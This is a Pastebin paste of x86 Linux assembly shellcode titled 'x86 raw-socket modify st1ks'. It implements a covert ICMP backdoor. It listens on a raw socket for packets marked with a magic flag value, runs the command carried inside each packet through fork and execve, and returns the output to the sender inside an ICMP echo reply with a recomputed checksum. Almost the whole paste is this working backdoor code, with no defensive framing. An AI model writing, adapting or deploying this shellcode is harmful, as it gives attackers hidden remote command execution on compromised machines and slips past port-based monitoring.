emS-St1ks

x86 raw-socket modify st1ks

Jun 16th, 2012
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. %define zero_reg        esi
  2. %define zero_reg_w      si
  3. %define sock_reg        edi
  4. %define __flag_byte     6996h
  5.  
  6. global _shell
  7.  
  8. _shell:
  9.  xor   zero_reg, zero_reg
  10.  mov   ebp, esp
  11.  
  12.  ; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
  13. _socket:
  14.  lea   ebx, [zero_reg+3]
  15.  push  byte 1
  16.  push  ebx
  17.  dec   ebx
  18.  push  ebx
  19.  dec   ebx
  20.  mov   ecx, esp
  21.  lea   eax, [zero_reg+66h]
  22.  int   80h                 ; socket();
  23.  mov   sock_reg, eax
  24.  
  25.  ; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &1, 1);
  26. _setsockopt:
  27.  push  ebx
  28.  push  esp
  29.  push  byte 3h
  30.  push  zero_reg
  31.  push  sock_reg
  32.  mov   ecx, esp
  33.  mov   bl, byte 0eh
  34.  mov   al, byte 66h
  35.  int   80h                 ; setsocketopt();
  36.  
  37.  ; while(1)
  38. _while_loop:
  39.  ; read(sockfd, cmd, 255);
  40.  cdq
  41.  dec   byte dl
  42.  mov   ecx, ebp
  43.  mov   ebx, sock_reg
  44.  lea   eax, [zero_reg+3]
  45.  int   80h                 ; read();
  46.  
  47.  lea   ebx, [ebp+24]
  48.  xor   [ebx], word __flag_byte
  49.  jne   short _while_loop
  50.  
  51.  ; pipe(pp)
  52.  lea   ebx, [ebp-8]
  53.  mov   al, byte 2ah
  54.  int   80h                 ; pipe();
  55.  
  56.  ; fork()
  57.  mov   al, byte 2h
  58.  int   80h                 ; fork();
  59.  test  eax, eax
  60.  jnz   short _parent
  61.  
  62. _child:
  63.  ; close(pp[0])
  64.  mov   ebx, [ebp-8]
  65.  mov   al, byte 6h
  66.  int   80h                 ; close();
  67.  
  68.  ; dup2(pp[1], 0); dup2(pp[1], 1); dup2(pp[1], 2);
  69.  lea   ecx, [zero_reg+3]
  70.  ; pp[1] == pp[0]+1
  71.  inc   ebx
  72.  
  73. .1:
  74.  dec   ecx
  75.  mov   al, byte 3fh
  76.  int   80h                 ; dup2();
  77.  jnz   .1
  78.  
  79.  ; execve(cmd + 28, {cmd + 28, cmd + 36, cmd + 39, 0}, 0);
  80.  push  zero_reg
  81.  lea   ebx, [ebp+39]
  82.  push  ebx
  83.  sub   ebx, byte 3
  84.  push  ebx
  85.  sub   ebx, byte 8
  86.  push  ebx
  87.  mov   ecx, esp
  88.  cdq
  89.  mov   al, byte 0bh
  90.  int   80h                 ; execve();
  91.  
  92. _parent:
  93.  ; close(pp[1])
  94.  mov   ebx, [ebp-4]
  95.  lea   eax, [zero_reg+6]
  96.  int   80h                 ; close();
  97.  
  98. _parent_read:
  99. .1:
  100.  ; read(pp[0], cmd, bytes_left);
  101.  ; edx == 255
  102.  lea   ecx, [ebp+28]
  103.  mov   ebx, [ebp-8]
  104.  mov   al, byte 3h
  105.  int   80h                 ; read();
  106.  test  eax, eax
  107.  jl    _while_loop
  108.  
  109.  mov   al, byte 6h
  110.  int   80h                 ; close();
  111.  
  112. .2:
  113.  ; fix up ttl (optional?! make sure its high!)
  114.  ; mov   [ebp+8], byte 0ffh
  115.  
  116.  ; switch ip's
  117.  mov   ecx, [ebp+12]
  118.  xchg  [ebp+16], ecx
  119.  mov   [ebp+12], ecx
  120.  
  121.  ; set icmp type to echo reply (optional?!)
  122.  ;mov   [ebp+20], word zero_reg_w
  123.  ; zero checksum
  124.  ;mov   [ebp+22], word zero_reg_w
  125.  ; set icmp type to echo and zero checksum
  126.  mov   [ebp+20], zero_reg
  127.  
  128.  lea   ecx, [zero_reg+117]
  129.  lea   esi, [ebp+20]
  130.  cdq
  131.  
  132. .3:
  133.  lodsw
  134.  add   edx, eax
  135.  loop  .3
  136.  
  137.  lodsb
  138.  xor   ah, ah
  139.  add   eax, edx
  140.  mov   esi, eax
  141.  
  142.  shr   eax, byte 16
  143.  movzx esi, si
  144.  add   eax, esi
  145.  mov   edx, eax
  146.  shr   edx, byte 16
  147.  add   eax, edx
  148.  not   ax
  149.  
  150.  ; set checksum
  151.  mov   [ebp+22], word ax
  152.  
  153.  cdq
  154.  xor   eax, eax
  155.  xor   zero_reg, zero_reg
  156.  
  157.  ; struct sockaddr *
  158.  push  zero_reg
  159.  push  zero_reg
  160.  push  dword [ebp+16]
  161.  push  byte 2
  162.  
  163.  ; sendto(sockfd, cmd, 255, 0, ...);
  164.  mov   ecx, esp
  165.  push  byte 16
  166.  push  ecx
  167.  push  zero_reg
  168.  mov   dl, byte 0ffh
  169.  push  edx
  170.  push  ebp
  171.  push  sock_reg
  172.  mov   ecx, esp
  173.  mov   bl, 0bh
  174.  mov   al, 66h
  175.  int   80h                 ; sendto();
  176.  
  177.  cdq
  178.  mov   ecx, ebp
  179.  mov   ebx, zero_reg
  180.  mov   al, 72h
  181.  int   80h                 ; wait();
  182.  
  183.  jmp   _while_loop
Advertisement
Add Comment
Please, Sign In to add comment